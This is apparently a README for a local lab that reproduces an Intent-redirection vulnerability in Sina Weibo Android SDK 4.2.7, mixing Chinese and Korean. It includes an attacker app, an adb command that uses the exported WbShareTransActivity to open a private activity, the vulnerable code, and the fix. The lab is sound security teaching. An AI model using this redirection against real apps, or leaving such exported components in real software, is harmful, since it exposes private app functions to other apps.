这是一个在本地复现新浪微博 Android SDK 4.2.7 中 Intent 重定向漏洞的教学项目。
请仅在获得授权的测试设备或模拟器上使用。请勿将其用于针对真实用户应用。
victim: 包含实际 openDefault-4.2.7.aar 的漏洞应用attacker: 调用 exported WbShareTransActivity 的攻击应用victim/.../PrivateActivity: android:exported="false" 的复现目标漏洞流程如下:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
需要 Android SDK 36 和 JDK 17。
./gradlew clean assembleDebug
生成文件:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity 按钮。EXPLOIT SUCCESS 界面,即表示复现成功。也可以直接通过 ADB 复现。
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7 信任外部 Intent 中的 startActivity 和 gotoActivity 字符串,并以如下形式使用它们:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
由于 this 是 Victim 应用的 Context,Android 会将其视为 Victim 应用在启动自己的私有 Activity。
在现代 Android 构建中必须显式声明 android:exported,因此本项目为了复现旧版 SDK 的隐式 exported 状态,在 victim/AndroidManifest.xml 中显式将其指定为 true。
在不需要分享功能的演练中,将以下值改为 false 并重新构建。
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
之后再执行相同攻击,会被 SecurityException 阻止。在实际产品中,应移除 Weibo SDK 4.x 并升级到最新的维护版本。
包含的 AAR 来自新浪微博官方公开仓库的 4.2.7 提交。
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar